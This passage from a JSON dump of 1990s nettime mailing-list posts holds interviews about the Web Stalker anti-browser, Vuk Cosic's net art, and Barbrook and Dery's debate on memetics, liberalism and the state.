that\nneeds twisting.\nAs for being techno determinists? I guess we are interested in finding\nthis out. What comes into play using the web? The material on the URL\nbeing used, which encompasses the programs, skills and materials used to\nput it together as well as the specific items of data; then the actual\nhard infrastructure - computers, servers, telephone lines, modems and of\ncourse the software running on them, (in short, bandwidth considerations); \nthen the software being used to access the web - a great big pile on top\nof which sits the Browser, terminal viewer or whatever. All of these\nelements and how they mix determine to some extent the nature of the\ninteraction.\nFor instance, try using a web site packed full of java-scripts, frames and\nvrml with a browser from a couple of years back. You'll find that the\ntype of interaction available to you is pretty much fully determined by\nthe technology you have. You're locked out.  On the other hand, just\nlooking at all of this misses out on the key piece of equipment in the\nrelationship - the user. One of the things that drove us to make the Web\nStalker was that we, and pretty much everyone else don't really use\nweb-sites in the way that they are suposed to be used. Whether it's\nswitching off gifs or blocking cookies or whatever there's an element of\nstreet knowledge that you use to get to the stuff that you really want. We\nmade the Web Stalker to work in the same kind of way. It's designed to be\npredatory and boredom-intolerant. At the same time though, we hope that as\na piece of *speculative software* it just encourages people to treat the\nnet as a space for re-invention.\n\nGeert Lovink: Web Stalker is showing us the backstage of the browers. \nCould you explain us how it actually works? What kind of code do we get to\nsee? Is it just HTML or hidden directories of the servers? What do\nwebmasters and sysops try to hide for us and what can we learn from it?\nWeb Stalker as a hackers tool for extra-governmental gangs that are trying\nto undermine the effeciency of global capitalism? \n\nSimon Pope:  the web stalker moves only within the limits of html space.  any\nco-conspirators needs to be fore-armed with at least one URL which refers\nto an html document. give this to the 'crawler', and the stalker begins its\nprocess of parsing, hungrily searching for links to other html resources.\ninitiating a 'map' window, opens a channel onto this  process, through\nwhich urls are graphically represented as circles and links as lines. the\nstalker will thrive on known links and resources - as long as each html\ndocument contains a link to another html document, the stalker will live.\npitch it into a netscape, microsoft, macromedia or java-only space and it\nwill soon perish.\n\nColin Green: When we began to use the stalker as our primary web-access\nsoftware, we became aware of the extent to which html has become a site of\ncommercial contention. Browsers made by the two best-know players frame\nmost peoples' experience of the web. This is a literal framing. whatever\nhappens within the window of explorer, for instance, is the limit of\npossibility. HTML is, after-all, a mark-up language which indicates\nstructure and intention of a document. There is no imperative to interpret\n<cite> as <italic>, as there are none which demand the use of 'forward' or\n'back' to define a spatial metaphor. \n\nMatthew Fuller:  We've had reports from users that amongst other things,\nif you use the Web Stalker on a site with extra content being added to it\nevery few hours, such as some news services for instance, you can start to\nfind files whilst they're still in the queue - before the news 'happens'.\n\nSimon Pope: Commercial interests have tried to exploit the web by\ncontrolling the velocity of browsing. the stalker subverts this - it\nconfounds the faux-melodrama of the click-thru by automatically making the\nlink for you. Suspense is ridiculed and fluidity is returned to a realm\nwhere processes of delay and damming are recognized advertising\nopportunities. It is here that the convention of the \"web page\" helps to\nsolidify html, presenting each document as the potential apex of the\nuser's experience. A leaf-node rather than link. \n\nGeert Lovink: but is the web stalker not also a bit protestant, in the\nsense of anti-image - pro code? HTML and the WWW are being presented to us\nas the big step forward for the normal user, to have an easy-to-use\ninterface. what is so disgusting about all these fancy websites, funny\ngraphics and sexy buttons? isn't the stalker a bit step back, very male\nand hackerlike in its approach? i don't say that the explorer is female...\n\nMatthew Fuller: The Web Stalker establishes that there are other potential\ncultures of use for the web.  The aesthetic conventions of current Browsers\nare based on the discipline of Human Computer Interface Design. To\ndescribe the predelictions of this approach to interface you only have to\nnote that the default background colour in page-construction programs is\ngrey.  Progress is marked by the incremental increase of fake drop-shadow\non windows.  Here, the normal user is only ever the normalised user.  Time\nto mutate.\nFor us, software must also develop some kind of relationship to\nbeauty. This can in one sense be taken as something that only happens in\nthe eyes. But it is also something that happens at a level that is also\nprofoundly interwoven with politics in the development of these potential\ncultures of use. It is in this sense that we call The Web Stalker\n'speculative' software.  It is not setting itself as a universal device, a\nproprietary switching system for the general intelligence, but a sensorium\n- a mode of sensing, knowing and doing on the web that makes its\npropensities  - and as importantly, some at least of those 'of the web'\nthat were hitherto hidden - clear.\nRather than taking an ascetic view we see that a key problem with\nthe Browsers is that they don't allow the Spew to manifest itself *enough*.\nThis software is a call for the voluptuation of the nets and everything\nthey connect to.  As the union leader Big Bill Heywood used to say,\nstroking his belly and sucking on a tasty dog-shit-sized cigar: Nothing's\ntoo good for the proletariat.\n\nGeert Lovink: After having done Web Stalker, what is the relation between\nthe small, arty, conceptuals anti-browsers and a perhaps more serious one\nthat will be free public domain software? It is maybe hard to estimate how\ninfluencial marginal autonomous software production actually this. There\nare many different estimations about this. How do you see the Amsterdam\neffort of the 'International Browser Day' in all this? \n\nMattew Fuller:  The Web Stalker proposes another model alongside the two\nother main models of radical software production. The first is obviously\nthat of Free Software.  The second is that of programmers working in\ncollaboration with specific client groups whose needs are not met by the\nprograms developed in a 'free' market.  A good example of this is the\nicon-based email program being put together in de Waag. Both of these\nmodels are based on a specific or wider consensus. The Web Stalker\nproposes a complementary model, one that is interventional. That is\ndesigned specifically to make a far reaching breach into the material and\nimaginal space of the technical and social context in which it is placed. \n\nSimon Pope: Until recently,there were few points in the development of pc\nsoftware where source code was opened-up to end-users where applications\ncould be modified or extended. With Netscape's recent announcement, at\nleast there is now an awareness of the existence of this type of\ndevelopment, even if the take-up by end-users (rather than developers)\nmight not be that widespread.\n\nColin Green: We develop software from a very specific position: Lingo has\nbeen our language of choice and from necessity for the past 5 years.\nDuring that time, there has been a gradual shift in the method of\nprogramming, from proceedural to object-oriented approaches. This change\nhappened as much through an ad hoc engagement with Lingo by frustrated\nusers than from the imposition of methodology from another programming\nlanguage. The result has been that there is no standard way to deal with\nLingo, so it's not been practical to share sourcecode - it takes too much\ntime & effort to decipher someone elses scripting. The days of being able\nto get away with cut & paste of other peoples scripts are over - nothing\ninteresting came out of that approach anyhow... \n\nSimon Pope: Also, there has been no real percieved benefit in giving away\nLingo scripts. If you can write good enough code to be able to give it\naway, there's probably very little out there you actually WANT in return.\nThis is changing. Once-novice coders are now gaining in confidence and\nturning-out software with the intention for others to use it, tear it\napart and rebuild it according to their own design.  We'll open-up the\nback of next software project to expose it to this kind of developoment. \n\nMatthew Fuller: For us, the Browserday is a very useful initiative.  Once\nthe breach has been made, proving that the net can be used and develeoped\nin ways largely at variance with the proprietary browsers and the\ninterests they maintain, the floodgates can - potentially - open.  A\nthousand different net sensoriums can be launched.  The Browserday is\nimportant because it was done in a way that was at once informed by both\ntechnique and theory without priviliging either and done in a populist\ncelebratory manner.  It's not just done to force the didactic proof that\nsoftware can be -exciting- but also that people can make actual, rather\nthan virtual, reconfigurations of ways of seeing, knowing and doing.  And\nsome of the wild stuff that the students came up with!!!  In this alone it\nwent beyond the usual dreary parade of technoculture events that people\nhave become accustomed to. \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Fri, 24 Apr 1998 15:32:37 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199804241434.PAA30353 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9804/msg00072.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> Interview with I/O/D, the Makers of Web Stalker"
            },
            {
                "id": "00211",
                "content": "\nHi!\n\n        I enclose an interview I did with Vuk Cosic in Ljuliana at the\n\"Beauty and the East meeting\" for your reading pleasure. \n\n        Those who read german will find a translation of this piece and a\nlot of other fascinating stuff at the new art special of \"Telepolis\" that\nwent online   {AT}  \nhttp://www.heise.de/tp/fku.htm\n\nYours,\nTilman\n\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n>>Tilman Baumgaertel, Hornstr. 3, 10963 Berlin, Germany\nTel./Fax. 030-2170962, email: Tilman_Baumgaertel {AT} CompuServe.Com<<\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n\n------------------------------SCHNAPP!-------------------------------------\n-----------------------\n\n?: In read somewhere that the first bible in Slovenian was printed in\nWittenberg in\nGermany. I was wondering if you think there is a similar situation with the\ninternet now, if you have the impression that it was somehow invented\nelsewhere and therefore suspicious, as many west europeans seem to think? \n\nVuk Cosic: No, Slovenia is actually very well-connected. There is also a\nhigh number of computers in offices and homes. The number of hosts per\ncapita is higher than in many west-european cuntries, for example in Italy\nor Spain. At Ljudmilla we have a 256k-line which is the best you can get in\nSlovenia. So it\u00b4s not such a bad situation. We have live-stream real audio\nand video, and the bandwidth is definitely sufficent. \n\n?: Tell me how you got \"on the net\"?\n\nCosic: I first encountered the WorldWideWeb in the second half on 1994. I\nthought:\n\"Wow, this is sexy.\" You know, the moment, when you see words on your\ncomputer\nscreen, that somebody else wrote somewhere else, is like a religious\nexperience, very emotional in a way. I still have a photographic memory of\nwhat I saw when I went online for the first time, the different websites I\nlooked at. So I said: \"This is cool\", and I decided to change my career.\nBefore that I worked as an art manager. I did art exchange projects between\ncountries that were in war with each other, like Slovenia and Serbia. So on\nthe 4th of April 1995 was the last day of my career as an art manager. I\nhad finished a good project, and that day I said as myself: Ok, now I\u00b4m\ninto the internet, one way or another. I didn't know if I would end up\nselling modems, or teaching DOS in elementary school. I didn't have a\nstrict goal, only had this gut feeling to go there. It just was the thing\nfor me. Then I was inivited to the first nettime meeting in Venice - well,\nand the rest is history. \n\n?: Had you worked as an artist before?\n\nCosic: I had done collages and other art works before, and really the only\nthing that had changed was that I had discovered a new platform for my\ncreativity. \n\n?: I noticed that some of the pieces on your homepage seem very literary.\nDo you have a background in writing?\n\nCosic: I originally came out of writing, but then I developed a very\nstrange attitude about which platform I wanted to use. I first have the\nidea, than I decide which medium it is going to be this time. I did land\nart, I did exhibtions. I actually have three different biographies. I was\nvery active in politics, I was a candidate for the nobel peace prize with a\nfew friends, because I was a leader of student demonstrations in Belgrade.\nOriginally I am a archeologist by training. I am still sort of working on\nmy Ph.D. thesis, but I did not persue my career as an archeologist. I know\nthat your next question will be 'How come that an archeologist is working\non the internet?\" I think that it is the same apparatus that has just been\nturned around on the tripot, looking in the other direction...\n\n?: So you are an archeologist of the future? \n\nCosic: Yeah, I am on that tripod. \n\n?: Back to your career as aspiring net artists. Tell me how you got started\nin this art form, in case it really is an art form...\n\nCosic: For some reason I didn\u00b4t dare to do HTML for quite some time. I\ndidn't want to\ndirty my hands, until I eventually understood how fucking simple it is.\nWhen I finally\nstarted, nothing could stop me. I did the first website that could be\ncalled net art in May 1996 for a conference called \"Net.art per se\" that\ntook place in Trieste in Italy. \n\n?: There is this one \"found footage\" page that you designed that looks the\nhomepage of CNN, except that the main headline is\"Net.art found possible\"\nand that the hidden hotlinks all lead to other art websites... \n\nCosic: That was pretty surprising for a lot of people. And I was very\nsurprised that these guys at this conference appreciated my work. And\nthat's the beauty of all of this that developed out of this conference.\nIt's like me and Heath Bunting and Alexej Shulgin and Olia Lialina and Jodi\nhad studios next to each other, where we could look at what the others were\ndoing. \n\n?: What do you mean with \"having a studio next to each other\"?\n\nCosic: You know, it's like Picasso and Braque in Paris in 1907...\n\n?: But they were physically together...\n\nCosic: The output of a net artists is net art, which is obviously - because\nof the qualities of the internet - accessible to everybody. And I can see\neverything that they do in the moment they do it. It usually goes like\nthis: Jodi do something new - and they are crazy, they are maniacs, they\ncreate something new every other day - and they send the URL to me, and\nask: What do you think about this? And there are collaborations over the\nnet, too, and group projects. We steal a lot from each other, in the sense\nthat we take some parts of codes, we admire each others tricks. \n\nJodi are very interesting in their exploration of technology, but Heath is\nmagnificent in his social awareness and his glorious egotism, or Alexej\nwith his russian temperament. Cyber-Majakowski, someone once called him. I\nhave the feeling that I know the greatest people that are alive in my time,\nwhile they are still good. Now we have this communication system that\nreminds me of the communication between the futurists or later the\ndadaists. There were two guys in Berlin, four in guys in Paris, two in\nRussia, and they all knew each other, and there were all 25 years old. How\ndid they get in touch? It was because of the strength of their believes and\nthe good communication channels, because there were a few guys traveling.\nWhat we have now is the same: We have some strengths, we have some\nqualities - even though that's really up to others to say - and most of all\nwe have a good communication system. \n\n?: Which is the internet?\n\nCosic: This time it's the internet. Earlier it was Picabia who had the\nmoney to buy an\nexpensive car and travel and print one issue of his magazine in every town\nhe came to. \n\n?: When I look at your work, but also at the works of Shulgin or Jodi, one\naspect of net art that catches one's attention, is that it is very\nself-referential.\n\nCosic: The usual analogy is video art, which was also very self-referential\nin the sixties when it started. I am not talking about video art today,\nwhich has developed in a sort of funny direction. But if you think about\npieces by people like Weibel, they were very much about monitors, about 100\nHertz, about all kinds of noise. They were all about this video option you\nhad suddenly as an artist. \n\nThen again there are not such easy generalisations. None of us has really\ndone net art that has references to historic avantgardes. There is no real\ndada lover among us, even though I manically collect the books from this\nperiod. But there is no dada web site, which to my mind would be a total\nmistake. That's for boring people to do. That's why I am doing CNN. That's\nself-referential in a certain way. We like to think about the net, and how\nit's made, because we want to understand it. And our process of\nunderstanding it is immediately transformed into some form of expression. \n\n?: What is a very striking parallel between net art and video art is that\nthe first that artists did when they discovered television or video was to\ntake these media apart and attempted to destroy them. Now the same thing\nseems to happen on the net.\n\nCosic: Exactly! I did a lot of HTML-documents that crashed your browsers. I\nnoticed that there was a mistake somewhere in my programming. And than I\nasked myself: is this a minus or a plus? So than I was looking how to get\nto that. It was not enough just to avoid this mistake, I was trying to\nreally understand that particular mistake, with frames, or with GIFs which\nused to crash old browsers, or later Java Script, that does beautiful\nthings to your computer in general.\n\n?: So why is it the first reflex of artists to decontruct a new medium?\n\nCosic: In what we are doing, there aren't any laws. It is like any other\nart form, it's totally individual. I think, that every new medium is only a\nmaterialisation of previous\ngenerations' dreams. This sounds like a conspiracy theory now, but if you\nlook at many conceptual tools, that were invented by Marcel Duchamp or by\nJoseph Beuys or the early conceptionalists, they have become a normal\neveryday routine today with every email you send. With every time you open\nNetscape and press a random URL at Yahoo! 80 years ago this action, that is\nnow totally normal everyday life, would have been absolutely the most\nadvanced art gesture imaginable, understandable only to Duchamp and his two\nbest friends. This very idea to have randomness in whatever area, form,\nshape, would have been so bizarre in those days. Or to do something that\nmakes artistic sense here and somewhere else at the same time! You recall\nthese art projects where there was one guy in Tokyo and one New York, and\nthey agree over the telephone to do the same thing at the same time, to\nlook at the sun or something - we do it with the internet all the time,\nwith web cameras! I see this deletion of remoteness as something very\nintriguing, and maybe\nthat's one little proof of this weird thesis that the internet is only the\nmaterialisations of earlier generations' dreams. I will give a lecture in\nFinnland in September in which I will argue that art was only a substitute\nfor the internet. That is of course a joke. I know very few people who have\nso much esteem for what artists did in the past. \n\n?: There is a lot of reflection going on about net art right now. That is\nvery different from  other art movements where the artist-genius put some\npaint on the canvas and it was up to us, the audience, to wonder what this\nmeant...\n\nCosic: Yeah, in a way we are Duchamp's ideal children. You and I and all\nthe people in this conference, we have all read a lot. Let's not be modest\nabout this, because we are proud of that. We read a lot, we work a lot, and\nwe are at the same time creative, because the medium internet is enabling\nus to be this way. \n\n?: There is a piece on your website where you encourage people to put\nfootnotes on\nacademic texts. That's another thing I noticed about net art, that it is a\nlot about theory.\n\nCosic: Yeah, that's what nettime does to otherwise normal people.\nUnfortunately I didn't find enough strength in me to persue this project.\nNow it is only an invitation for collaboration that never found an echo.\nThere were a few, by Heiko Idensen and Heath Bunting and Pit Schultz, but\nit wasn't enough. I have them in my mail box though...\n\n?: Does it matter if this project gets finished or not?\n\nCosic: No, there is this state of final incompleteness, as Duchamp once\nsaid about his Big Glass. I can open this document whenever I want - I call\nthem documents, not art pieces - and do whatever I want to it. It's cool. I\ndon't want it to be finished. I'm not interested in this project very much\nanymore, though. \n\n?: Is your homepage a complete collection of all the art project you did on\nthe net?\n\nCosic: No, my homepage is not a catalogue of my works, because there are a\nlot of things that I am doing when I go to other places, which I never put\nthem on my homepage. A lot of net artists are trying hard to get as many\nlinks as possible from important web sites like \"ars electronica\" or\n\"Telepolis\", in order to get many hits on their sites, to get recognized.\nBut to me this protocol is also subject to artistic reflexion. That\u00b4s why\nthere are a lot of my works missing on my site. I sometimes give fake\nURL\u00b4s. I used to print fake business cards, and now I do the same thing on\nthe net, just for the fun you can have with misinformation. \n\n?: One of the most conceptual pieces on your website is called \"A day in\nthe life of an internet artist\", which records your daily activities. Other\npeople call this a homepage, but in your case it is a work of art. Why?\n\nCosic: That was the first time that I noticed that there is a million ways\nof classifying what you are doing on the internet. The reasons is that on\nthe internet it is so beautifully undefined which plattform you are going\nto use: text, video, graphics, audio, whatever. You certainly have a\nproblem there, and you really have to go down to the basics. When you go\ndown to the basics, art is really about subjectivity, even if you attempt\nto do something else. And even the worst formalist experiments in the\nheroic age of video art are a reflexion of the individual quality of the\nmaker. And I am trying to play/work with that. \n\n?: So it is dealing with the historic art genre of the self-portrait?\n\nCosic: Yeah, sort of. In this particular site I tried to give a vivisection\nof my everyday\ncommunication with the internet enviroment. So there is one part that deals\nwith my net art projects, one that deals with writing, one that is called\n\"job art\"... \n\n? Why is it art to have a job?\n\nCosic: I am a little bit puzzled with the term \"art\". Not because I decline\nthe epithet artist - it\u00b4s a nice hat to wear and the girls like it, too.\nBut actually it is a little bit worrying how it puts you into a certain\ncorner. So instead of deleting the word \"art\" as etiquette for what I do, I\ngave the word \"art\" to *everything* I do. \n\n?: Like Yves Klein said: \"Everything is art\"...\n\nCosic: Yes, but I try to do it in a very practical, everyday way, without\ntoo much talk about it. This web site is not accompanied by an essay or\nanything. Actually there *is* an essay with the same title, but it has\nnothing to do with the web site. That was another thing I did to mislead\nthe audience. \n\n?: There is one piece on Nicholas Negroponte on your website too. What is\nthat about?\n\nCosic: When Negroponte came to Ljubliana, I had a big fight with him, and\nwe interrupted his speech. Luka Frelih and I went around the city spraying\ngraffiti: \"Wired = Pravda\". I made it look like a secret internet terrorist\norganisation. On the website we compare him to Tito. But we did it without\nfanatism. \n\n?: Today at the conference you proposed a project called \"Ljudmila West\".\nCan you say something about this?\n\nCosic: Ljudmila West is a foundation that is set up to help west european\nartists to\ncommunicate, to learn about new multimedia technologies and to contribute\nto the\neuropean integration, because there is an obvious lack of information in\nthis area. So we can not sit with our arms crossed. We should do something\nabout this. Because this is definetely the last moment for the West\nEuropeans to catch on, otherwise they will remain in their closed systems\nor their closed societies, to quote Popper and Soros. \n\n?: Is this a parody of the rethoric used at events like the V 2 festival in\nRotterdam? The west europeans are helping the poor east europeans out of\ntheir mess, only reversed? \n\nCosic: I have been to so many art events in the west, where the direction\nof teaching was not the expected one. It was actually the guys from\nBelgrade and Moscow teaching those french, british, german fellows things\nabout life. Of course this virtual Ljudmila West project is just a cute\nlittle joke, but there is a very serious point to it. And it comes out of\nvery serious frustration. I am not a frustratable fellow, but I noticed\nthis growing frustration among east europeans.  So I as an artist react and\noffer an art project, which is this story about Ljudmila West. Sounds like\nthe name of a film actress, by the way.\n\nInterview: Tilman Baumg\u00e4rtel\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "to": "\"(unbekannt)\" <NETTIME-L {AT} Desk.nl>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00211.html",
                "list": "nettime_l",
                "author_name": "Tilman Baumgaertel",
                "subject": "<nettime> Interview w/ Vuk Cosi",
                "from": "Tilman Baumgaertel <Tilman_Baumgaertel {AT} compuserve.com>",
                "follow-up": [
                    {
                        "from": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                        "content": "\nCorrection...\n\n> ?: In read somewhere that the first bible in Slovenian was printed in\n> Wittenberg in\n> Germany. I was wondering if you think there is a similar situation with the\n> internet now, if you have the impression that it was somehow invented\n> elsewhere and therefore suspicious, as many west europeans seem to think? \n> \n> Vuk Cosic: No, Slovenia is actually very well-connected. There is also a\n> high number of computers in offices and homes. The number of hosts per\n> capita is higher than in many west-european cuntries, for example in Italy\n> or Spain. At Ljudmilla we have a 256k-line which is the best you can get in\n> Slovenia. So it\u00b4s not such a bad situation. We have live-stream real audio\n> and video, and the bandwidth is definitely sufficent. \n>\nI just wanna say that 256k-line is not 'the best you can get in Slovenia.'\nWe - Multimedia Center KIBLA in Maribor - have the 512k-line and it can go\nup to 2Mega. Just for an objective information. \n\nBye,\nPeter\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00212",
                        "date": "Mon, 30 Jun 1997 17:24:44 +0200 (MET DST)",
                        "to": "ilman Baumgaertel <Tilman_Baumgaertel {AT} compuserve.com>",
                        "message-id": "Pine.LNX.3.95.970630171824.26799A&#45;100000 {AT} server.nd&#45;mb.si",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00212.html",
                        "content-type": "text/plai",
                        "author_name": "Peter Tomaz Dobrila",
                        "subject": "Re: <nettime> Interview w/ Vuk Cosi"
                    }
                ],
                "message-id": "199706300845_MC2&#45;197E&#45;C9A6 {AT} compuserve.com",
                "date": "Mon, 30 Jun 1997 08:45:46 -0400",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00010",
                "content": "An Interview with Richard Barbrook and Mary Dery\nBy Willem van Weelden\nConducted at Ars Electronica, september 4, 1996\nFor the Web Journal of the Ars Electronica Festival 1996\nhttp://www.aec.at/www-ars/journal/db/bio/dery1/index.html\n\nINTRODUCTION\n\nBeing the most politically outspoken and controversial speakers of the first \nday of the symposium, the idea of doing an interview with both Mark Dery\nand Richard Barbrook at the same occasion seemed as maybe not an\naltogether  original still yet a very sane thing to pursue. Moreover,\nBarbrook for a large part determined the 'nature' of the discussion in the\n'Future of  Evolution' net symposium (www.aec.at/meme/symp), by\ncriticising the biologisation of the social sciences, and the paralysing\neffect it may have on critical thought. Both, Dery and Barbrook share that\nsame critical stance towards the primarilly Californian 'ideology' but\ngiven that affliation with eachother's ideas it seemed an interesting\nthing to give them for the journal the opportunity to speak the\ndifferences of their convictions. Thus focussing in on the off-centered,\nshadowy American quality of Dery's approach and the more historical\nArbeiteristic (workerist) European approach of Richard Barbrook.\n\nTHE MEMESIS CONCEPT\n\nMark Dery: 'I've done precisely what you suggest Richard Barbrook has done\nwhich is: restore a sense of historical context to the whole of the\ndiscussion on  Memetix or Memesis. In fact I've taking us not to the\nMeta-Meme but to the Ur-Meme: nature. Which is precisely what Richard\nargued in a different way. He refered to the creeping biologisation of the\nsocial sciences or what  might also loosely and rather inaccurately be\ncalled the humanities but specifically, critical exegesis of cultural\ndynamics. That was precisely the point of my paper. That appeals to nature\nas mute inscrutable legitimator of human agency in the social sphere with real\ndelitarious, measurable, profound corrossive impact on the whorp and\nwhoof of peoples everyday lives is a profoundly pernishes gesture nor is\nit recently arrived. I'm absolutely the historian when I talk in my paper\nabout previous appeals to the beginning of the 20th century: the Eugenics\nmovement in America leaps immediately to mind but we can even go further\nback to the17th century where as I said in my paper the compressed crania of\nwomen, non-whites and other lesser ethers in the lower most wrongs of the\ngreat chain of being were adduced as incontrovertable, scientific,\nbiological evidence of their inferiority. \n\nWvW: If dialectics is still a usefull tool in structuring the various\nviewpoints and subleties in the debate then it was this remark that\nroughly synthesized the core of the one, skeptical camp versus the Meme\nsuggestion, against the camp of scientists and artists who are the\ndefenders and afficionado's of the Meme. This journal has chosen to \nconcentrate its investigations on the former side of the discussion. Still\nit is remarkable that simple, unelaborated historical facts without a\ncontext and random remembrances can be of such a convincing 'nature' that\nthey actually close off, reduce and belittle entire discussions. For, at\nleast in this talk, the whole 'biological' part of the discussion was\nafter the Dery statement more or less left behind, the attention shifting \nmore towards the role the advocates of the Memetic rhetoric play in the\nmedia and public sphere, propagating the adoption of 'biological'\nmetaphors and references in social analysis. Thus making way for the\npolitical discussion of how to adress the issue of (net-) democracy at the\nera of the 'end of organized capitalism'. Let this review be of any help\nin the choosing of positions in the debate. \n\nRichard Barbrook: The key point is what Kevin Kelly, Wired Magazine and\nthe Extropians and other leaders of this Memes cult are doing which is\nbasically recycling Herbert Spencer's Social Darwinism. Which comes, as\nyou know, out of Victorian England. It's a defense of liberal economics\nagainst the need for state regulation and state intervention.\n\nTHE LIBERALISM DISCUSSION\n\nMD: I would simply add as a kind of hypertext link to that statement, the \nterm 'liberal' in America  means something very different [from the European \nuse of the term. wvw] and I think the boilerplate  phrase 'liberal \neconomics' is more usefully phrased for Americans as a 'laissez-faire'\nAyn Randian deregulated economics. Not liberalism in the sense of social \npolicies but 'liberal' meaning the least regulated, the least statist \nintervention.\n\nRB: Simon Martin Lips says in his book 'American exceptionism' : 'all \nAmericans are liberals' it is just that they are either conservative\nliberals or social liberals. And that is part of the problem in the\nAmerican debate ; it is completly narrow. And he says quit rightly that \nthere's never been really a conservative party. You know pro church, pro\naristocracy party since the revolution and similarly there's never been a\nreal socialist party, not even in the social democratic sense.  \n\nTHE COMMODIFICATION OF SOCIAL THEORIES AND THE STATE\n\nMD: When Richard suggested they recapitulate Spencerian social theory it \nis intresting to know that the Spencerian theory was every bit as popular\nwith the monopoly capitalists of his days as the neo-biological\ndownsized demassified decentralized theories of Kevin Kelly are with\ncorporate managerial theorists as Peter Drucker and Tom Peters, the last\none being the author of the book 'Thriving on Chaos' which is a bizarre\ncarnival mirror, kind of funhouse distortion of Deleuze in a very strange\nway. The disillusion of the body politics in sort of a flesheating viral\nfashion into a poddle of anomic atomized cellular units protoplasmicly\ngoing their own seperate ways on the one hand echoes delirious excesses\nof Deleuzian theory at its most outermost bounds, and on the other hand\nthe American millitia movement at this moment, which also embraces very\nmuch the notion of micro-political resistance. Where have we ever heard\nthat phrase before? Foucault sits upright in his grave and coughs a\nbloodbubble!\n\nRB: That's the interesting thing there is this link between the new left \nand the new right which is : anti-statism which actually anti-democracy. \nBoth are against representative democracy. They see the political process as \ninherently corrupt because it involves compromise, the articulation of \ninterests. The both have the common fantasy of direct democracy. Pure speech \nactions between people. This is interesting in classical republicanism media \nfreedom was seen as part of participation in the democratic process, it was \nnot the substitute for it. But both the new left and the new right saw the \nmedia as a substitute for representative political institutions. Guatarri \ntalks about the community radio stations as the immense permanent meeting of \nthe airways where people engage in direct democracy, bypassing the Italian \nstate. As we know it is a very deeply reactionary idea. Because politics \ninvolves being a citizen and that's the reason why I'm an social democrate \nand not an ultra leftist? You have to accept that we are not we're not \njust members of supersociety. Both deny this dialectic between membership\nof civil society and political citizenship.\n\nTHE FUTUTRE OF THE STATE \n\nMD: Since you are looking for differences between us one difference that \nshould absolutely be ilyted but should be tripple underscored italiced and \nsaid in fluorescent wired dayglo orange: I'm not a social democrate!!! nor \nam I an academic neo-marxist!!! I'm deeply, deeply disenchanted with the \nnotion of the nation state and profoundly saddened about the paralist state \nof constitutional participatory democracy in America at this point which is \nnot to say that I don't think that it is a remarkably robust line of \npolitical code and that I don't think it is inherently one of the more \nliberatory political systems but where Richard and I part company is that in \nAmerica the federalist paradigm, the government has been effectively brought \nto heel and hollowed out and turned essentialy into a sickafennic lapdog by \ncorporate power that is evermore global in scope that flows with the \nfrightening liquidity over national borders from whence springs all of this \nutopian rhetoric in the Wired camp about the end of the nation state, the \nend of geography in a sort of dizzy vertiginous hyperreal way that almost \nsounds post-modern. And again the discorporation from the immediate fysical \nbody. But in their hands, in the hands of what a New Yorker essayist called \nthe 'Tofflerist/Gingrichist alliance' all this rhetoric of returning power \nto the individual and ultimately to the local level is really a very \ntransparant threadbear blind for on the one hand utterly unravelling of the \nsocial safety net and laying the full burden of responsibility for the sort \nof social concerns at the doorstep of the individual, and simultanisously as \nI said in my paper dismantling the rickety framework of the nation state \nthat even now only just constraints corporate power to clear the way for \ntransnational media monoliths whose power is utterly unconstraint and \nanswerable to noone. So the pernicious, corrosive enzyms of corporate power \nhave effectively hollowed out constitutional democracy in America. And we \nneed look no further than the recent capitualisation to all of Rupert \nMurdochs attempts to roll back anti-monopoly legislation where essentially \nall of the inside the beltway powerbrokers basically melt and kissed his \nring. This is the moment to my mind where the state is in serious peril.\n\nRB: This libertarian rhetoric is of a limited section of the economy and\nis an ideology in the classic sense of the word: it is a false description of \nreality. What's intresting is that it is not a really succesful economic \nstrategy compared to the post-war period or the New Deal. State regulations \nand taxes are like excercises, nobody really wants to do them or have it \nimposed on them. A good example is universal access. One of the big \ncampaigns of these freemarketeers is to remove universal access from the \nprovision of this new fiberoptic grid. It is literally going to be the \nvirtual class that will be half-wired into the fiberoptic grid and the rest \nof the population will be left the decaying copper infrastructure. But if \nyou create a massmarket you need the masses to be on-line. So it needs the \nstate to pro-actively built the turn-and-see value in order to ellectrify \nto.... If I were Time Warner I would want the state to organise the \ninfrastructure and be able sell your commodities.\n\nMD: But how do you respond to my critique, my  misgivings, profound \nweariness, my trepadation about rallying around the banner of the state. As \na social democrat you sound much more sanguin about participatory \ndemocracy's abbility to disentangle itself from the tentacles of corporate \npower and I would like you to address the way in which corporate power \nprofoundly undermined the fundamental tennents of participatory democracy.\n\nRB: Political democracy is centered around state structures. If you are \nagainst the state in a very fundamental sense you are against political \ndemocracy. It is about participating in political decision-making at a \nregion a national and now at a continental level in Europe. That you have to \nstate first and formost. We are living within a mixed economy and each of \nthese actors play a different role. But we have to be weary of saying that \nthe state is disappearing, because in a sense it is accepting the\npropaganda but still the state plays an enormous role, in America as \neverywhere else. You have to be aware not to over exagerate globalisation we are still not at the stage we were in 1914. \nInternational trade is less important than it was then. After that we\nentered a period in which nations became radically 